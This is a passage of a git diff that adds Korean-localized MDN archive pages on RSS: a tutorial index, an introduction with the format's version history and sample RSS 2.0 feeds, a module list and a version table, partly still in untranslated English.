+ 입문선가 될 수 있도록 쓰여졌지만, 각 장은 이전 장의 내용을 독자가 모두 알고 있다고 가정하고 있습니다. 원하는 장부터 시작해도 되지만, RSS 초보자는 순서대로 읽기를 권합니다.</p>
+<h3 id="Tutorial" name="Tutorial">Tutorial</h3>
+<ol>
+ <li><b><a href="ko/RSS/Getting_Started/What_is_RSS">What is RSS</a></b></li>
+ <li><b><a href="ko/RSS/Getting_Started/Why_use_RSS">Why use RSS</a></b></li>
+ <li><b><a href="ko/RSS/Getting_Started/How_RSS_Works">How RSS Works</a></b></li>
+ <li><b>Hello World</b> (article not yet written) <span class="comment">link removed because too many people put their hello world there</span></li>
+ <li><b><a href="ko/RSS/Getting_Started/Syndicating">Syndicating</a></b></li>
+ <li><b><a href="ko/RSS/Getting_Started/Blogs">Blogs</a></b></li>
+ <li><b><a href="ko/RSS/Getting_Started/Broadcatching">Broadcatching</a></b></li>
+ <li><b><a href="ko/RSS/Getting_Started/Microformats">Microformats</a></b></li>
+ <li><b><a href="ko/RSS/Getting_Started/Advanced_Broadcatching">Advanced Broadcatching</a></b></li>
+</ol>
+<p></p>
diff --git a/files/ko/archive/rss/getting_started/what_is_rss/index.html b/files/ko/archive/rss/getting_started/what_is_rss/index.html
new file mode 100644
index 0000000000..0ec7281c2a
--- /dev/null
+++ b/files/ko/archive/rss/getting_started/what_is_rss/index.html
@@ -0,0 +1,230 @@
+---
+title: What is RSS
+slug: Archive/RSS/Getting_Started/What_is_RSS
+tags:
+  - 'RSS:Getting_Started'
+translation_of: Archive/RSS/Getting_Started/What_is_RSS
+---
+<p>이 문서는 RSS가 무엇인지 설명하기 위해 만들어졌습니다. 여러분은 아직 RSS를 만들어 본 적이 없으실 겁니다. 그렇지만 RSS를 어떻게 사용하는 지 아시기도 하고, 간단한 샘플 파일을 보신적이 있으실 겁니다. RSS가 무엇이고 어떻게 만들어진 것인지 한번 알아보겠습니다.</p>
+<h3 id="RSS.EB.9E.80_.EB.AC.B4.EC.97.87.EC.9D.B8.EA.B0.80.3F" name="RSS.EB.9E.80_.EB.AC.B4.EC.97.87.EC.9D.B8.EA.B0.80.3F">RSS란 무엇인가?</h3>
+<p>가장 많이 이용하는 <a href="ko/RSS/Version">RSS 2.0 버전</a>은 데이터 연결을 위해 사용하는 <a href="ko/XML">XML</a>기반 마크업 언어 입니다. -based markup languages used for syndication. (<a href="ko/RDF">RDF</a>를 기반하는 RSS 형식도 존재합니다. 이미 사라진 <a href="ko/RSS/Version/0.90">RSS 0.90</a>과 <a href="ko/RSS/Version/1.0">RSS 1.0</a> 처럼 말이죠.) RSS를 주로 사용하는 곳은 웹 사이트 최신 소식이나 블로그, 인터넷 라디오나 TV 등의 뉴스를 전달하는 역할을 합니다.</p>
+<p>이 문서는 <a href="ko/RSS/Version/2.0">RSS 2.0</a>을 다룹니다. 물론 다른 <a href="ko/RSS/Version">RSS 버전</a>에 대한 주의 사항도 함께 다루게 됩니다..</p>
+<p>RSS는 손으로 만들지는 않습니다. 거의 서버쪽 프로그램에 의해 자동으로 만들어 집니다(PHP나 Java, C# 및 Python 같은 언어로 만들어진 것이죠.) 그러나 RSS를 배우려면 손으로 한번 RSS 스크립트를 만들 필요가 있습니다.</p>
+<h3 id="RSS.EC.97.90_.EB.8C.80.ED.95.9C_.EA.B0.84.EB.8B.A8.ED.95.9C_.EC.97.AD.EC.82.AC" name="RSS.EC.97.90_.EB.8C.80.ED.95.9C_.EA.B0.84.EB.8B.A8.ED.95.9C_.EC.97.AD.EC.82.AC">RSS에 대한 간단한 역사</h3>
+<p>In March of 1999 Netscape released <a href="ko/RSS/Version/0.90">RSS 0.90</a>. It was much much different than today's RSS. It wasn't really a format for syndication, but was a format for providing a summary of a website. In fact, back then, RSS did not stand for <b>Really Simple Syndication</b> but stood for <b>Rich Site Summary</b>.</p>
+<p>In July of 1999 <a href="ko/RSS/Version/0.91/Netscape">Netscape's RSS 0.91</a> was released. Like <a href="ko/RSS/Version/0.90">RSS 0.90</a>, Netscape's RSS 0.91 was also a format for providing a summary of a website, and not really a syndication format (as it is today). Netscape's RSS 0.91 was created to simplify things. RSS 0.90 was <a href="ko/RDF">RDF</a>-based. (Which many found to be overly complex.) Netscape's RSS 0.91 was only <a href="ko/XML">XML</a>-based and added a <a href="ko/DTD">DTD</a> to allow several entities (commonly found in <a href="ko/HTML">HTML</a>).</p>
+<p>So at this point Netscape deprecated the <a href="ko/RDF">RDF</a>-based <a href="ko/RSS/Version/0.90">RSS 0.90</a> and told everyone to use <a href="ko/RSS/Version/0.91/Netscape">Netscape's RSS 0.91</a>, which was <a href="ko/XML">XML</a>-based.</p>
+<p>In June of 2000 <a href="ko/RSS/Version/0.91/Userland">Userland's RSS 0.91</a> was released. (And yes, that means that there are 2 different version of <a href="ko/RSS/Version/0.91">RSS 0.91</a>.) The difference between the 2 different versions of <a href="ko/RSS/Version/0.91">RSS 0.91</a> -- <a href="ko/RSS/Version/0.91/Netscape">Netscape's RSS 0.91</a> and <a href="ko/RSS/Version/0.91/Userland">Userland's RSS 0.91</a> -- is that Userland's RSS 0.91 does not have the <a href="ko/DTD">DTD</a> that Netscape's RSS 0.91 has; and thus doesn't have the extra entities that Netscape's RSS 0.91 has (commonly found in <a href="ko/HTML">HTML</a>). Other than that though, they are the same. Technically speaking, Userland's RSS 0.91 is a subset of Netscape's RSS 0.91.</p>
+<p>In December of 2000 the RSS-DEV working group released <a href="ko/RSS/Version/1.0">RSS 1.0</a>. This version of RSS was no longer purely <a href="ko/XML">XML</a>-based, but was <a href="ko/RDF">RDF</a>-based (like the original and now deprecated <a href="ko/RSS/Version/0.90">RSS 0.90</a>). The RSS-DEV working group changed what RSS stood for, and made it stand for <b>RDF Site Summary</b>. (At least, this is what it stood for in their version of RSS.)</p>
+<p>So at this point we had <a href="ko/RSS/Version/0.91/Netscape">Netscape's RSS 0.91</a>, <a href="ko/RSS/Version/0.91/Userland">Userland's RSS 0.91</a>, and the RSS-DEV working group's <a href="ko/RSS/Version/1.0">RSS 1.0</a>.</p>
+<p>Later that same December Userland released <a href="ko/RSS/Version/0.92">RSS 0.92</a>. RSS 0.92 was meant to replace <a href="ko/RSS/Version/0.91/Userland">Userland's RSS 0.91</a>. (If you notice though, the RSS versioning number got all messed up at this point. RSS 0.92 is newer than <a href="ko/RSS/Version/1.0">RSS 1.0</a>.)</p>
+<p>So at this point we had <a href="ko/RSS/Version/0.91/Netscape">Netscape's RSS 0.91</a>, the RSS-DEV working group's <a href="ko/RSS/Version/1.0">RSS 1.0</a>, and Userland's <a href="ko/RSS/Version/0.92">RSS 0.92</a>.</p>
+<p>In April 2001 Userland released a draft for <a href="ko/RSS/Version/0.93">RSS 0.93</a>. This version of RSS was never made "final" and was only ever a draft, and never became a replacement for Userland's <a href="ko/RSS/Version/0.92">RSS 0.92</a>.</p>
+<p>In August 2002 Userland released a draft for <a href="ko/RSS/Version/0.94">RSS 0.94</a>. Like <a href="ko/RSS/Version/0.93">RSS 0.93</a>, this version of RSS was never made "final" and was only ever a draft, and never became a replacement for Userland's <a href="ko/RSS/Version/0.92">RSS 0.92</a>.</p>
+<p>So at this point we <em>still</em> had <a href="ko/RSS/Version/0.91/Netscape">Netscape's RSS 0.91</a>, the RSS-DEV working group's <a href="ko/RSS/Version/1.0">RSS 1.0</a>, and Userland's <a href="ko/RSS/Version/0.92">RSS 0.92</a>. (Although some were using <a href="ko/RSS/Version/0.93">RSS 0.93</a> and <a href="ko/RSS/Version/0.94">RSS 0.94</a> even though they weren't suppose to.)</p>
+<p>In September 2002 Userland released <a href="ko/RSS/Version/2.0">RSS 2.0</a>. RSS 2.0 was meant to be a replacement for <a href="ko/RSS/Version/0.92">RSS 0.92</a> (and the <a href="ko/RSS/Version/0.93">RSS 0.93</a> and <a href="ko/RSS/Version/0.94">RSS 0.94</a> drafts that no one was suppose to use). Userland bumped up the version number all the way up to <b>2.0</b> because the RSS-DEV working group already used <b>1.0</b> with their <a href="ko/RDF">RDF</a>-based <a href="ko/RSS/Version/1.0">RSS 1.0</a>.</p>
+<p>So at this point we had <a href="ko/RSS/Version/0.91/Netscape">Netscape's RSS 0.91</a>, the RSS-DEV working group's <a href="ko/RSS/Version/1.0">RSS 1.0</a>, and Userland's <a href="ko/RSS/Version/2.0">RSS 2.0</a>.</p>
+<p>Now, the story does not quite end there. Once in November 2002 and another time in January 2003, <a href="ko/RSS/Version/2.0">RSS 2.0</a> was changed from its original specification, by Userland. And although these are each are different, they all label themselves as RSS 2.0 on the <a href="ko/RSS/Element/rss">&lt;rss&gt;</a> element.</p>
+<p>So now, at this point, we still have <a href="ko/RSS/Version/0.91/Netscape">Netscape's RSS 0.91</a> (since Netscape never deprecated it) although most people don't use it anymore. Most people use either the <a href="ko/RDF">RDF</a>-based <a href="ko/RSS/Version/1.0">RSS 1.0</a> or the <a href="ko/XML">XML</a>-based <a href="ko/RSS/Version/2.0">RSS 2.0</a>. With the XML-based RSS 2.0 seeming to be the most popular. (This tutorial uses <a href="ko/RSS/Version/2.0">RSS 2.0</a>.)</p>
+<h3 id="How_RSS_is_Used_Today" name="How_RSS_is_Used_Today">How RSS is Used Today</h3>
+<p>Today, RSS is mostly used for syndication. Syndication is the process of telling others that you have content for them to consume. In other words, when you syndicate, you are telling everyone something like: "Hey everyone, I've got articles that I want everyone to come and read. Just subscribe to my RSS feed and you will be able to get the latest ones all the time.".</p>
+<div class="note">
+ <p><b>NOTE</b>: If you provide a non-password-protected RSS feed, you are implicitly giving everyone permission to use the contents in you RSS feed in almost any way they see fit. They can read it. The can make local copies of it. They can share that local copy. They can put it on their web site. They can even re-syndicated it. And more.</p>
+ <p>If you don't want any of that done, then don't put it in a non-password-protected RSS feed. (And don't make the password public of course.)</p>
+</div>
+<p>News web sites use RSS to provide everyone with a list of their newest articles. For example:</p>
+<pre class="eval">   <span class="nowiki">
+    &lt;?xml version="1.0"?&gt;
+
+    &lt;rss version="2.0"&gt;
+
+        &lt;channel&gt;
+            &lt;title&gt;Example News Site&lt;/title&gt;
+            &lt;description&gt;This is an Example News Site.&lt;/description&gt;
+            &lt;lastBuildDate&gt;Wed, 27 Jul 2005 00:30:30 -0700&lt;/lastBuildDate&gt;
+            &lt;link&gt;http://news.example.com/&lt;/link&gt;
+
+            &lt;item&gt;
+                &lt;title&gt;News Flash: I Like Bread&lt;/title&gt;
+                &lt;guid isPermaLink="false"&gt;4d4a0a12-f188-4c97-908b-eea27213c2fe&lt;/guid&gt;
+                &lt;pubDate&gt;Wed, 27 Jul 2005 00:30:30 -0700&lt;/pubDate&gt;
+                &lt;link&gt;http://news.example.com/artcle/554&lt;/link&gt;
+            &lt;/item&gt;
+            &lt;item&gt;
+                &lt;title&gt;Big News Today: Birds Fly&lt;/title&gt;
+                &lt;guid isPermaLink="false"&gt;c4a63f09-b45b-466b-8773-6ff264001ab7&lt;/guid&gt;
+                &lt;pubDate&gt;Tue, 19 Jul 2005 04:32:51 -0700&lt;/pubDate&gt;
+                &lt;link&gt;http://news.example.com/artcle/553&lt;/link&gt;
+            &lt;/item&gt;
+            &lt;item&gt;
+                &lt;title&gt;Fire is Hot&lt;/title&gt;
+                &lt;guid isPermaLink="false"&gt;c1795324-d5ea-44fa-95b1-b5ce2090d4f1&lt;/guid&gt;
+                &lt;pubDate&gt;Sun, 15 May 2005 13:02:08 -0700&lt;/pubDate&gt;
+                &lt;link&gt;http://news.example.com/artcle/552&lt;/link&gt;
+            &lt;/item&gt;
+        &lt;/channel&gt;
+
+    &lt;/rss&gt;
+    </span>
+</pre>
+<p>Bloggers use RSS to provide everyone with a list of their newest blog posts. For example:</p>
+<pre class="eval">   <span class="nowiki">
+    &lt;?xml version="1.0"?&gt;
+
+    &lt;rss version="2.0"&gt;
+
+        &lt;channel&gt;
+            &lt;title&gt;Joe Blow's Blog&lt;/title&gt;
+            &lt;description&gt;This is the Weblog of Joe Blow&lt;/description&gt;
+            &lt;lastBuildDate&gt;Sun, 15 May 2005 13:02:08 -0500&lt;/lastBuildDate&gt;
+            &lt;link&gt;http://joe-blow.example.net/&lt;/link&gt;
+
+            &lt;item&gt;
+                &lt;title&gt;I Be Blogging...&lt;/title&gt;
+                &lt;guid&gt;http://joe-blow.example.net/log/21&lt;/guid&gt;
+                &lt;pubDate&gt;Sun, 15 May 2005 13:02:08 -0500&lt;/pubDate&gt;
+                &lt;link&gt;http://joe-blow.example.net/log/21&lt;/link&gt;
+            &lt;/item&gt;
+            &lt;item&gt;
+                &lt;title&gt;I am so SMRT&lt;/title&gt;
+                &lt;guid&gt;http://joe-blow.example.net/log/20&lt;/guid&gt;
+                &lt;pubDate&gt;Sat, 14 May 2005 22:19:18 -0500&lt;/pubDate&gt;
+                &lt;link&gt;http://joe-blow.example.net/log/20&lt;/link&gt;
+            &lt;/item&gt;
+            &lt;item&gt;
+                &lt;title&gt;Huh?&lt;/title&gt;
+                &lt;guid&gt;http://joe-blow.example.net/log/19&lt;/guid&gt;
+                &lt;pubDate&gt;Sat, 14 May 2005 09:55:59 -0500&lt;/pubDate&gt;
+                &lt;link&gt;http://joe-blow.example.net/log/19&lt;/link&gt;
+            &lt;/item&gt;
+            &lt;item&gt;
+                &lt;title&gt;Black Cat Spotted&lt;/title&gt;
+                &lt;guid&gt;http://joe-blow.example.net/log/18&lt;/guid&gt;
+                &lt;pubDate&gt;Fri, 13 May 2005 13:13:13 -0500&lt;/pubDate&gt;
+                &lt;link&gt;http://joe-blow.example.net/log/18&lt;/link&gt;
+            &lt;/item&gt;
+        &lt;/channel&gt;
+
+    &lt;/rss&gt;
+    </span>
+</pre>
+<p>Those who create Internet Radio use RSS to allow users to broadcatch their shows. For example:</p>
+<pre class="eval">   <span class="nowiki">
+    &lt;?xml version="1.0"?&gt;
+
+    &lt;rss version="2.0"&gt;
+
+        &lt;channel&gt;
+            &lt;title&gt;Joe's IPradio Show&lt;/title&gt;
+            &lt;description&gt;The best IPradio Show on the Internet, staring Joe!&lt;/description&gt;
+            &lt;lastBuildDate&gt;Mon, 15 Aug 2005 16:12:37 -0400&lt;/lastBuildDate&gt;
+            &lt;link&gt;http://joe.ipradio.example.net/&lt;/link&gt;
+
+            &lt;item&gt;
+                &lt;title&gt;I C UR Tan Line&lt;/title&gt;
+                &lt;guid&gt;http://joe.ipradio.example.net/show/55&lt;/guid&gt;
+                &lt;pubDate&gt;Mon, 15 Aug 2005 16:11:57 -0400&lt;/pubDate&gt;
+                &lt;enclosure url="http://joe.ipradio.example.net/show/55"
+                           length="4487216"
+                           type="application/ogg"
+                /&gt;
+            &lt;/item&gt;
+            &lt;item&gt;
+                &lt;title&gt;Car Care for Car Fanatics&lt;/title&gt;
+                &lt;guid&gt;http://joe.ipradio.example.net/show/54&lt;/guid&gt;
+                &lt;pubDate&gt;Mon, 8 Aug 2005 13:12:12 -0400&lt;/pubDate&gt;
+                &lt;enclosure url="http://joe.ipradio.example.net/show/54"
+                           length="4892178"
+                           type="audio/x-mp3"
+                /&gt;
+            &lt;/item&gt;
+            &lt;item&gt;
+                &lt;title&gt;Best Beaches in BC&lt;/title&gt;
+                &lt;guid&gt;http://joe.ipradio.example.net/show/53&lt;/guid&gt;
+                &lt;pubDate&gt;Mon, 1 Aug 2005 18:22:14 -0400&lt;/pubDate&gt;
+                &lt;enclosure url="http://joe.ipradio.example.net/show/53"
+                           length="3984215"
+                           type="application/ogg"
+                /&gt;
+            &lt;/item&gt;
+        &lt;/channel&gt;
+
+    &lt;/rss&gt;
+    </span>
+</pre>
+<div class="note">
+ <p><b>NOTE</b>: Broadcatching of Internet Radio is sometimes call <em>Podcasting</em>, <em>IPradio</em>, and <em>Audio Blogging</em>.</p>
+</div>
+<p>Those who create Internet Television use RSS to allow users to broadcatch their shows. For example:</p>
+<pre class="eval">   <span class="nowiki">
+    &lt;?xml version="1.0"?&gt;
+
+    &lt;rss version="2.0"&gt;
+
+        &lt;channel&gt;
+            &lt;title&gt;Kate's IPTV Show&lt;/title&gt;
+            &lt;description&gt;Watch it or else!  You know you want to.&lt;/description&gt;
+            &lt;lastBuildDate&gt;Tue, 23 Aug 2005 21:02:05 -0800&lt;/lastBuildDate&gt;
+            &lt;link&gt;http://katetv.example.com/&lt;/link&gt;
+
+            &lt;item&gt;
+                &lt;title&gt;This is Fun&lt;/title&gt;
+                &lt;guid&gt;http://katetv.example.com/show/4&lt;/guid&gt;
+                &lt;pubDate&gt;Tue, 23 Aug 2005 21:02:05 -0800&lt;/pubDate&gt;
+                &lt;enclosure url="http://katetv.example.com/show/4"
+                           length="1911146"
+                           type="application/ogg"
+                /&gt;
+            &lt;/item&gt;
+            &lt;item&gt;
+                &lt;title&gt;Watch This&lt;/title&gt;
+                &lt;guid&gt;http://katetv.example.com/show/3&lt;/guid&gt;
+                &lt;pubDate&gt;Tue, 16 Aug 2005 16:11:57 -0400&lt;/pubDate&gt;
+                &lt;enclosure url="http://katetv.example.com/show/3"
+                           length="1387442"
+                           type="application/ogg"
+                /&gt;
+            &lt;/item&gt;
+            &lt;item&gt;
+                &lt;title&gt;It is me again&lt;/title&gt;
+                &lt;guid&gt;http://katetv.example.com/show/2&lt;/guid&gt;
+                &lt;pubDate&gt;Tue, 9 Aug 2005 13:12:12 -0400&lt;/pubDate&gt;
+                &lt;enclosure url="http://katetv.example.com/show/2"
+                           length="1894877"
+                           type="video/mpeg"
+                /&gt;
+            &lt;/item&gt;
+            &lt;item&gt;
+                &lt;title&gt;Hello&lt;/title&gt;
+                &lt;guid&gt;http://katetv.example.com/show/1&lt;/guid&gt;
+                &lt;pubDate&gt;Tue, 2 Aug 2005 18:22:14 -0400&lt;/pubDate&gt;
+                &lt;enclosure url="http://katetv.example.com/show/1"
+                           length="17442215"
+                           type="application/ogg"
+                /&gt;
+            &lt;/item&gt;
+        &lt;/channel&gt;
+
+    &lt;/rss&gt;
+    </span>
+</pre>
+<p>The observant reader may have noticed that the
+ <i>
+  news web site</i>
+ and
+ <i>
+  blogger</i>
+ examples were the same type of RSS. And also that the
+ <i>
+  Internet Radio</i>
+ and
+ <i>
+  Internet Television</i>
+ examples were the same type of RSS. In fact, the only real difference between the news/blogger RSS and the Internet Radio/Internet Television RSS is that the news/blogger RSS uses the <a href="ko/RSS/Element/link">&lt;link&gt;</a> element and the Internet Radio/Internet Television RSS uses the <a href="ko/RSS/Element/enclosure">&lt;enclosure&gt;</a> element.</p>
+<div class="note">
+ <p><b>NOTE</b>: These RSS examples are very very simple. And were designed to give you an idea about what RSS basically looks like. All these RSS examples are very minimal. When you create your own RSS feeds, you will likely want to make them more complex than these and include additional <a href="ko/RSS/Element">RSS elements</a> and make use of the various <a href="ko/RSS/Module">RSS Modules</a>.</p>
+</div>
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/ko/docs/RSS:Getting_Started:Why_use_RSS">다음  »</a></p>
+</div><p></p>
+<p></p>
diff --git a/files/ko/archive/rss/index.html b/files/ko/archive/rss/index.html
new file mode 100644
index 0000000000..e5a2a6cd60
--- /dev/null
+++ b/files/ko/archive/rss/index.html
@@ -0,0 +1,48 @@
+---
+title: RSS
+slug: Archive/RSS
+tags:
+  - RSS
+translation_of: Archive/RSS
+---
+<div class="callout-box"><b><a href="ko/RSS/Getting_Started">시작하기</a></b><br>
+RSS를 시작하는데 도움이 되는 안내 입문서</div>
+<div><b>Really Simple Syndication (RSS)</b>는 <a href="ko/HTML">HTML</a>과 비슷한 <a href="ko/XML">XML</a>에 기반을 둔 발행(syndication)에 쓰는 대중적인 데이터 포맷입니다. RSS는 어두운 역사와 호환성이 없는 수많은 <a href="ko/RSS/Version">RSS 버전</a>이 있습니다. (몇몇은 <a href="ko/RDF">RDF</a>를 기반으로 하고 있지만 대부분은 <a href="ko/XML">XML</a>만 기반으로 하고 있습니다.) 이러함에도 불구하고, RSS는 엄청난 활동성(momentum)으로 뉴스, 블로그 포스트, IP라디오, IPTV 발행하는데(syndicate) 사용되는 매우 대중적인 포맷입니다.</div>
+<table class="topicpage-table">
+<tbody><tr><td>
+<h4 id=".EB.AC.B8.EC.84.9C" name=".EB.AC.B8.EC.84.9C"> <a>문서</a> </h4>
+<dl><dt> <a href="ko/RSS/Article/Why_RSS_Slash_is_Popular_-_Counting_Your_Comments">Why RSS Slash is Popular - Counting Your Comments</a>
+</dt><dd> <small>Charles Iliya Krempeaux가 여러 모듈 가운데 왜 인기가 있고 댓글(comment) "count"를 주는데 어떻게 쓰는지 RSS Slash 모듈에 관해 이야기합니다.</small>
+</dd></dl>
+<dl><dt> <a href="ko/RSS/Article/Why_Well-Formed_Web_RSS_Module_is_Popular_-_Syndicating_Your_Comments">Why Well-Formed Web RSS Module is Popular - Syndicating Your Comments</a>
+</dt><dd> <small>Charles Iliya Krempeaux가 여러 모듈 가운데 왜 인기가 있고 댓글에 링크하는데 어떻게 쓰는지 적격(Well-Formed) 웹 RSS 모듈에 관해 이야기합니다.</small>
+</dd></dl>
+<dl><dt> <a class="external" href="http://diveintomark.org/archives/2004/02/04/incompatible-rss">The Myth of RSS Compatibility</a>
+</dt><dd> <small>Mark Pilgrim이 여러분에게 RSS의 지저분한 역사와 관해 말해주고 각 버전 사이의 비호환성을 자세히 설명합니다.</small>
+</dd></dl>
+<dl><dt> <a class="external" href="http://www.tbray.org/ongoing/When/200x/2005/07/27/Atomic-RSS">Atomic RSS</a>
+</dt><dd> <small>Tim Bray가 micro 포맷과 RSS 2.0용 확장 모듈(발행 포맷으로 RSS 2.0 따르지만 선택한 Atom 1.0 요소를 가져오고 쓰는)로서 Atom 1.0 사용에 관해 이야기합니다.</small>
+</dd></dl>
+<p><span class="alllinks"><a>모두 보기...</a></span>
+</p>
+</td>
+<td>
+<h4 id=".EC.BB.A4.EB.AE.A4.EB.8B.88.ED.8B.B0" name=".EC.BB.A4.EB.AE.A4.EB.8B.88.ED.8B.B0"> 커뮤니티 </h4>
+<ul><li> 모질라 XML 포럼 보기...
+</li></ul>
+<p></p><ul>
+  <li><a href="https://lists.mozilla.org/listinfo/dev-tech-xml"> 메일링 리스트</a></li>
+
+
+  <li><a href="http://groups.google.com/group/mozilla.dev.tech.xml"> 뉴스그룹</a></li>
+  <li><a href="http://groups.google.com/group/mozilla.dev.tech.xml/feeds"> 웹 Feed</a></li>
+</ul>
+<p></p>
+<h4 id=".EA.B4.80.EB.A0.A8_.EC.A3.BC.EC.A0.9C" name=".EA.B4.80.EB.A0.A8_.EC.A3.BC.EC.A0.9C"> 관련 주제 </h4>
+<dl><dd> <a href="ko/RDF">RDF</a>, <a href="ko/XML">XML</a>
+</dd></dl>
+</td></tr></tbody></table>
+<p><span class="comment">Categories</span>
+</p><p><span class="comment">Interwiki Language Links</span>
+</p><p><br>
+</p>
diff --git a/files/ko/archive/rss/module/index.html b/files/ko/archive/rss/module/index.html
new file mode 100644
index 0000000000..bdffb41ec6
--- /dev/null
+++ b/files/ko/archive/rss/module/index.html
@@ -0,0 +1,70 @@
+---
+title: Module
+slug: Archive/RSS/Module
+tags:
+  - RSS
+translation_of: Archive/RSS/Module
+---
+<h2 id="RSS_.EB.AA.A8.EB.93.88_.EB.AA.A9.EB.A1.9D" name="RSS_.EB.AA.A8.EB.93.88_.EB.AA.A9.EB.A1.9D">RSS 모듈 목록</h2>
+<p>RSS 모듈은 <a href="ko/XML">XML</a> 이름공간을 써서 RSS 문서에 집어넣는 microformat입니다. 모듈은 RSS를 확장하는 방법입니다. 아래는 인기 있는 RSS 모듈 목록입니다.</p>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>이름</th>
+   <th>공통 접두사</th>
+   <th>상태</th>
+   <th>출시 일</th>
+   <th>제작자</th>
+  </tr>
+  <tr>
+   <td><a href="ko/RSS/Module/Atom">Atomic RSS</a></td>
+   <td>atom</td>
+   <td> </td>
+   <td>2005년 07월 27일</td>
+   <td>Tim Bray</td>
+  </tr>
+  <tr>
+   <td><a href="ko/RSS/Module/blogChannel">blogChannel</a></td>
+   <td> </td>
+   <td> </td>
+   <td>2002년 09월 17일</td>
+   <td>Dave Winer</td>
+  </tr>
+  <tr>
+   <td><a href="ko/RSS/Module/Content">Content</a></td>
+   <td>content</td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><a href="ko/RSS/Module/creativeCommons">creativeCommons</a></td>
+   <td>cc</td>
+   <td> </td>
+   <td>2002년 12월 16일</td>
+   <td>Dave Winer</td>
+  </tr>
+  <tr>
+   <td><a href="ko/RSS/Module/Dublin_Core">Dublin Core</a></td>
+   <td>dc</td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><a href="ko/RSS/Module/Slash">Slash</a></td>
+   <td>slash</td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><a href="ko/RSS/Module/Well-Formed_Web">Well-Formed Web</a></td>
+   <td>wfw</td>
+   <td> </td>
+   <td> </td>
+   <td>Joe Gregorio and Chris Sells</td>
+  </tr>
+ </tbody>
+</table>
+<p></p>
diff --git a/files/ko/archive/rss/version/index.html b/files/ko/archive/rss/version/index.html
new file mode 100644
index 0000000000..5b6a3c7c87
--- /dev/null
+++ b/files/ko/archive/rss/version/index.html
@@ -0,0 +1,109 @@
+---
+title: Version
+slug: Archive/RSS/Version
+tags:
+  - RSS
+translation_of: Archive/RSS/Version
+---
+<h2 id="RSS_Versions" name="RSS_Versions">RSS Versions</h2>
+<p>RSS 는 복잡한 역사가 있습니다. 서로 다른 사람들이 스스로 RSS라고 부르는 명세를 일방적으로 만들어왔기 때문입니다. 어떤 RSS는 <a href="ko/XML">XML</a>형식으로 되어 있습니다. 또 어떤 RSS는 <a href="ko/RDF">RDF</a>형식으로 되어 있습니다.</p>
+<p>아래의 목록은, 발표된 시간 순으로 나열된 이제까지 알려진 RSS 버전들입니다.</p>
+<div class="note">
+ <p><b>NOTE</b>: 아래 목록에서, RSS 1.0의 위치가 잘못된 것처럼 보이지만, 사실 시간순으로 맞는 위치에 있습니다.</p>
+</div>
+<div class="note">
+ <p><b>NOTE</b>: <a href="ko/RSS/Version/0.91">RSS 0.91</a>에는 세 가지 다른 버전이 있습니다. Netscape의 RSS 0.91 (Revision 1), Netscape의 RSS 0.91 Revision 3 과 Userland의 RSS 0.91이 그것입니다. 엄밀히 말해서, Userland의 RSS 0.91 은 Netscape의 RSS 0.91의 부분집합입니다.</p>
+</div>
+<div class="note">
+ <p><b>NOTE</b>: RSS 0.93 과 RSS 0.94 은 "drafts"만 나오고, "final"상태가 되지 못해서 실제로 사용된 적이 없습니다.</p>
+</div>
+<p> </p>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Name</th>
+   <th>Status</th>
+   <th>Release Date</th>
+   <th>Based On</th>
+   <th>Author</th>
+  </tr>
+  <tr>
+   <td><a href="ko/RSS/Version/0.90">RSS 0.90</a></td>
+   <td><span title="This deprecated API should no longer be used, but will probably still work."><i class="icon-thumbs-down-alt"> </i></span></td>
+   <td class="small">March 1999</td>
+   <td><a href="ko/RDF">RDF</a></td>
+   <td class="small">Netscape</td>
+  </tr>
+  <tr>
+   <td><a href="ko/RSS/Version/0.91/Netscape/Revision_1">Netscape's RSS 0.91 (Revision 1)</a></td>
+   <td><span title="This deprecated API should no longer be used, but will probably still work."><i class="icon-thumbs-down-alt"> </i></span></td>
+   <td class="small">?</td>
+   <td><a href="ko/XML">XML</a></td>
+   <td class="small">Netscape</td>
+  </tr>
+  <tr>
+   <td><a href="ko/RSS/Version/0.91/Netscape/Revision_3">Netscape's RSS 0.91 Revision 3</a></td>
+   <td><span title="This is an obsolete API and is no longer guaranteed to work."><i class="icon-trash"> </i></span></td>
+   <td class="small">July 10, 1999</td>
+   <td><a href="ko/XML">XML</a></td>
+   <td class="small">Netscape</td>
+  </tr>
+  <tr>
+   <td><a href="ko/RSS/Version/0.91/Userland">Userland's RSS 0.91</a></td>
+   <td><span title="This deprecated API should no longer be used, but will probably still work."><i class="icon-thumbs-down-alt"> </i></span></td>
+   <td class="small">June 4, 2000</td>
+   <td><a href="ko/XML">XML</a></td>
+   <td class="small">Userland</td>
+  </tr>
+  <tr>
+   <td><a href="ko/RSS/Version/1.0">RSS 1.0</a></td>
+   <td>Standard</td>
+   <td class="small">December 9, 2000</td>
+   <td><a href="ko/RDF">RDF</a></td>
+   <td class="small">RSS-DEV Working Group</td>
+  </tr>
+  <tr>
+   <td><a href="ko/RSS/Version/0.92">RSS 0.92</a></td>
+   <td><span title="This deprecated API should no longer be used, but will probably still work."><i class="icon-thumbs-down-alt"> </i></span></td>
+   <td class="small">December 25, 2000</td>
+   <td><a href="ko/XML">XML</a></td>
+   <td class="small">Userland</td>
+  </tr>
+  <tr>
+   <td><a href="ko/RSS/Version/0.93">RSS 0.93</a></td>
+   <td><span title="This deprecated API should no longer be used, but will probably still work."><i class="icon-thumbs-down-alt"> </i></span></td>
+   <td class="small">April 20, 2001</td>
+   <td><a href="ko/XML">XML</a></td>
+   <td class="small">Userland</td>
+  </tr>
+  <tr>
+   <td><a href="ko/RSS/Version/0.94">RSS 0.94</a></td>
+   <td><span title="This deprecated API should no longer be used, but will probably still work."><i class="icon-thumbs-down-alt"> </i></span></td>
+   <td class="small">August 19, 2002</td>
+   <td><a href="ko/XML">XML</a></td>
+   <td class="small">Userland</td>
+  </tr>
+  <tr>
+   <td><a href="ko/RSS/Version/2.0">RSS 2.0</a></td>
+   <td><span title="This deprecated API should no longer be used, but will probably still work."><i class="icon-thumbs-down-alt"> </i></span></td>
+   <td class="small">September 2002</td>
+   <td><a href="ko/XML">XML</a></td>
+   <td class="small">Userland</td>
+  </tr>
+  <tr>
